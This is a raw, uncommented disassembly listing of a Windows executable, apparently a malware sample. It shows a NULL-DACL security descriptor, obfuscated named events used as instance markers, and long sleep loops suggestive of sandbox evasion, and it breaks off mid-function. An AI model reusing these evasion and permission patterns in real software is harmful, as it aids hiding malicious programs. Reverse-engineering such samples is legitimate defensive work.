loc_4032C4: ; CODE XREF: loc_4032C4+35 j mov al, 1 loc_4032C6: ; CODE XREF: loc_4032C6+60 j pop ebx leave retn sub_40320F endp ; =============== S U B R O U T I N E ======================================= sub_4032C9 proc near ; CODE XREF: sub_4032C9+36 p arg_0 = dword ptr 4 push esi push 14h push 0 mov esi, offset dword_421CD8 push esi call sub_40CCD9 add esp, 0Ch push 1 push esi call InitializeSecurityDescriptor test eax, eax jnz short loc_4032ED loc_4032E9: ; CODE XREF: loc_4032E9+33 j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4032ED: ; CODE XREF: loc_4032ED+1E j push 0 push 0 push 1 push esi call SetSecurityDescriptorDacl test eax, eax jz short loc_4032E9 mov eax, [esp+4+arg_0] mov [eax+4], esi mov dword ptr [eax], 0Ch mov dword ptr [eax+8], 1 mov al, 1 pop esi retn sub_4032C9 endp ; =============== S U B R O U T I N E ======================================= sub_403316 proc near ; CODE XREF: sub_403316+13 p ; sub_403389+13A p ... push ebx push esi push offset aIu6uu3wjjhfWyh ; "Iu6Uu3wJJHF%WYHS" xor ebx, ebx push ebx push 2 call OpenEventW mov esi, eax cmp esi, ebx jz short loc_403341 push esi call SetEvent test eax, eax push esi setnz bl call CloseHandle loc_403341: ; CODE XREF: loc_403341+16 j pop esi mov al, bl pop ebx retn sub_403316 endp ; =============== S U B R O U T I N E ======================================= sub_403346 proc near ; CODE XREF: sub_403346+8 p ; sub_403389+12C p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push [esp+arg_4] jz short loc_403362 push [esp+4+arg_0] call WaitForSingleObject test eax, eax jnz short loc_403368 mov al, 1 retn ; --------------------------------------------------------------------------- loc_403362: ; CODE XREF: loc_403362+9 j call Sleep loc_403368: ; CODE XREF: loc_403368+17 j xor al, al retn sub_403346 endp ; =============== S U B R O U T I N E ======================================= sub_40336B proc near ; CODE XREF: sub_40336B+94 p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_403346 test al, al pop ecx pop ecx jz short loc_403386 call sub_403316 mov al, 1 retn ; --------------------------------------------------------------------------- loc_403386: ; CODE XREF: loc_403386+11 j xor al, al retn sub_40336B endp ; =============== S U B R O U T I N E ======================================= sub_403389 proc near ; CODE XREF: start+2 p var_191 = byte ptr -191h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_188 = byte ptr -188h sub esp, 1A4h call sub_4031BC test al, al jnz loc_403524 call loc_40314E test al, al jnz loc_403524 push ebx push ebp mov ebp, ds:dword_4180C8 push esi push edi push 4E20h call Sleep ; df--HS loc_4033BA: ; CODE XREF: loc_4033BA+162 j ; sub_403389+16E j lea eax, [esp+1A4h+var_18C] push eax call sub_4032C9 pop ecx mov esi, offset aK8jt6hnjmJuiWw ; "K8JT6Hnjm$#jui#WWhHHgG" push esi xor ebx, ebx push ebx push ebx lea eax, [esp+1B0h+var_18C] push eax call CreateEventA mov edi, eax cmp edi, ebx jnz short loc_4033FC call GetLastError cmp eax, 0B7h jnz short loc_4033FC push esi push ebx push 1F0003h call OpenEventA mov edi, eax loc_4033FC: ; CODE XREF: loc_4033FC+55 j ; sub_403389+62 j push 7530h call Sleep ; df--HS call sub_40320F lea eax, [esp+1ACh+var_188] push eax push 2 call ds:dword_4181B4 jmp short loc_403439 ; --------------------------------------------------------------------------- loc_403417: ; CODE XREF: loc_403417+C1 j push 927C0h push edi call sub_40336B test al, al pop ecx pop ecx jz short loc_40342A mov bl, 1 loc_40342A: ; CODE XREF: loc_40342A+9D j mov eax, [esi] mov ecx, esi call dword ptr [eax+4] test bl, bl jnz loc_403505 loc_403439: ; CODE XREF: loc_403439+8C j xor bl, bl call sub_40BF8E mov esi, eax mov eax, [esi] mov ecx, esi call dword ptr [eax] test al, al jz short loc_403417 push 0EA60h call Sleep ; df--HS and [esp+1A4h+var_190], 0 mov [esp+1A4h+var_191], 1 mov eax, [esi] mov ecx, esi call dword ptr [eax+10h] test al, al jz short loc_403487 push 130h call sub_40D0BB test eax, eax pop ecx jz short loc_4034A6 lea ecx, [esp+1A4h+var_191] push ecx push edi push esi mov ecx, eax call sub_406E37 jmp short loc_4034A8 ; --------------------------------------------------------------------------- loc_403487: ; CODE XREF: loc_403487+DD j push 51A0h call sub_40D0BB test eax, eax pop ecx jz short loc_4034A6 lea ecx, [esp+1A4h+var_191] push ecx push edi push esi mov ecx, eax call sub_4058DF jmp short loc_4034A8 ; --------------------------------------------------------------------------- loc_4034A6: ; CODE XREF: loc_4034A6+EC j ; sub_403389+10B j xor eax, eax loc_4034A8: ; CODE XREF: loc_4034A8+FC j ; sub_403389+11B j push eax lea ecx, [esp+1A8h+var_190] call sub_404191 push 0FFFFFFFFh push edi call sub_403346 cmp [esp+1ACh+var_191], 0 pop ecx pop ecx jz short loc_4034C8 call sub_403316 loc_4034C8: ; CODE XREF: loc_4034C8+138 j push 0 lea ecx, [esp+1A8h+var_190] call sub_404191 test edi, edi jz short loc_4034DE push edi call CloseHandle loc_4034DE: ; CODE XREF: loc_4034DE+14C j cmp [esp+1A4h+var_191], 0 jnz short loc_4034FC mov ecx, [esp+1A4h+var_190] test ecx, ecx jz loc_4033BA mov eax, [ecx] push 1 call dword ptr [eax] jmp loc_4033BA ; --------------------------------------------------------------------------- loc_4034FC: ; CODE XREF: loc_4034FC+15A j ; sub_403389+17A j push 5F5E100h call Sleep ; df--HS jmp short loc_4034FC ; --------------------------------------------------------------------------- loc_403505: ; CODE XREF: loc_403505+AA j call sub_403316 test edi, edi jz short loc_403515 push edi call CloseHandle loc_403515: ; CODE XREF: loc_403515+183 j pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 1A4h retn 4 ; --------------------------------------------------------------------------- loc_403524: ; CODE XREF: loc_403524+D j ; sub_403389+1A j ... push 5F5E100h call Sleep jmp short loc_403524 sub_403389 endp ; =============== S U B R O U T I N E ======================================= public start start proc near push 0 call sub_403389 retn start endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_403539 proc near ; CODE XREF: sub_403539+3F p var_114 = byte ptr -114h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 114h lea eax, [ebp+74h+var_94] push eax mov [ebp+74h+var_94], 94h call GetVersionExA mov eax, [ebp+74h+var_90] sub eax, 3 jz loc_4035F9 dec eax mov ecx, [ebp+74h+var_8C] jz short loc_403599 dec eax jz short loc_403577 dec eax jnz short loc_4035A7 push offset aWindowsVista ; "Windows Vista" jmp loc_4035FE ; --------------------------------------------------------------------------- loc_403577: ; CODE XREF: loc_403577+2F j mov eax, ecx sub eax, 0 jz short loc_403592 dec eax jz short loc_40358B dec eax jnz sho